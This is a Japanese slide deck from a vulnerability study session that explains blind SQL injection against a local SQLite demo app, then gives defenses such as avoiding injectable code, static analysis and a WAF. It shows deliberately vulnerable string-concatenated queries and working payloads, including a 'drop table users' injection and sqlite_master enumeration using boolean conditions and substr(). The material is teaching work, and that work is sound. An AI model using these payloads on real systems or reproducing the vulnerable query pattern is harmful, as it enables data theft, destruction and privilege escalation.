Blind SQL Injection
脆弱性勉強会 #02
政倉 智
はじめに
- スライドは GitHub で公開しています
- Blind SQL Injection を試せるアプリも公開しています
SQL Injection とは?
app
  .get('/:id', (request, response) => {
    // http://localhost:3000/1 -> {request.param.id => 1}
    const rows = db.get('select * from items where id = ' + request.param.id);
    // 結果をウェブブラウザーに返す
  });
- "http://localhost:3000/1; drop table users"- select * from users where id = 1; drop table users
 
- こんな感じで SQL 文を実行できる
SQL Injection とは?
- テーブル消せるだけだから情報抜き取られないでしょ?- update もいけるから、自分のアカウントを管理者にしたりとか
 
- そういうのテーブル名とかフィールド名が分からないと無理でしょ?
- SQL エラー画面を出さなければいいんじゃ?- そのための Blind SQL Injection です!
 
Blind SQL Injection とは?
- SQL Injection を利用して、画面上に何らかの変化を生み出し、データベースの調査を行う方法です- 通常通り表示されたかどうかで行う方法
- sleep を利用して実行時間を見るる方法
 
- 今回は前者の通常通り表示されたかどうかの方法で解説します
原理
-- SQLite3 の場合
select * from sqlite_master
- この SQL 文を実行するとテーブル名の一覧が取れる- でも、実際には SQL Injection で、好きなクエリの結果を表示させるのは意外と難しい
 
select * from items where id = 1
//                             ~ ここから自由になるので
原理
app
  .get('/tables/:id', (request, response) => {
    // http://localhost:3000/tables/items -> {request.param.name => 'items'}
    const rows = db.get('select * from ' + request.param.name);
    // 結果をウェブブラウザーに表示する
  });
- こういうのが見つかると割と余裕なんだけど...- "http://localhost:3000/tables/sqlite_master"
 
- だけど、都合よく見つかることはあまりない
原理
app
  .get('/:id', (request, response) => {
    // http://localhost:3000/1 -> {request.param.id => 1}
    const rows = db.get('select * from items where id = ' + request.param.id);
    // 結果をウェブブラウザーに返す
  });
- "http://localhost:3000/1"
- "http://localhost:3000/1 and 1 = 1"
- "http://localhost:3000/1 and 1 = 2"- データがあっても、1 = 2 は偽なので表示されない
 
原理
select * from items where id = 1 and
  (select count(*) from sqlite_master where tbl_name = 'users') > 0
- 
users テーブルがあれば通常通りの画面、なければデータがありません画面になる
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master where tbl_name = 'users') > 0;
1|978-4621066058|EFFECTIVE JAVA|3888
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master where tbl_name = 'notexists') > 0;
sqlite>
原理
select * from items where id = 1 and
  (select count(*) from sqlite_master where substr(tbl_name, 1, 1) = 'u') > 0
- 
u で始まるテーブルがあれば通常通りの画面、なければデータがありません画面になる
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master
   ...>   where substr(tbl_name, 1, 1) = 'u') > 0;
1|978-4621066058|EFFECTIVE JAVA|3888
sqlite> select * from items where id = 1 and
   ...>   (select count(*) from sqlite_master
   ...>   where substr(tbl_name, 1, 1) = 'n') > 0;
sqlite>
何ができるのか
- 辞書を使ってテーブル名を探すのもよし!
- 一文字ずつ探していくもよし!
- 地道だけど...
- テーブル名をリストアップする
- フィールド名をリストアップする
- もうちょっと調査して...
- 自アカウントの権限昇格とか
- 他にもいろいろできるんじゃないかな?
Blind SQL Injection
- 時間と手間はかかりそうだけど、多分改善 (?) できる- ボットネットワークを利用すれば...
- アルゴリズムを改善すれば...
 
- 仮に時間がかかったとしても...- 専用のツールがあるんで、ちょっと設定して仕掛けて寝るだけ? みたいな?
- 仕掛けて一週間後にレポートもらう感じでも十分かと
 
防ぐには
- とにかく SQL Injection があるコードを書かないこと- 比較的対処がやりやすい方なので、プロジェクト開始時にルール化と徹底
- 対処が難しいところは、きちんとした体制で作る
 
- 一応静的コード検査ツールがあったような...- ツールで全部拾えるわけじゃないけど、脆弱性を生み出した人が書いたところは全部あやしいよね!
 
防ぐには
- 脆弱性対策は「想像力は必要だけど、独創性は必要ない」
- 複雑な対策は必ず穴を生む
防ぐには
- WAF 重要!- 怪しいリクエストをレポートさせれば、調査のための大量攻撃に気がつけるかも
- 正しく運用しないとだめだけどね!
 
- そろそろ「WAF なしが許されるのは小学生までだよね!」になりそう...
まとめ
- Blind SQL Injection は SQL Injection の一種で、クエリを少しずつ書き換えて画面に生じた変化で調査する方法
- テーブル名やフィールド名の調査くらいなら余裕だし、もっといろいろと調査できる
- 「テーブル名やフィールド名がバレなければ SQL Injection による攻撃が成立しない」というのはウソ
- 世の中には便利なクラッキングツールがあるよ!
- SQL Injection を生み出さないことが大事!
 
        
Blind SQL Injection
脆弱性勉強会 #02
政倉 智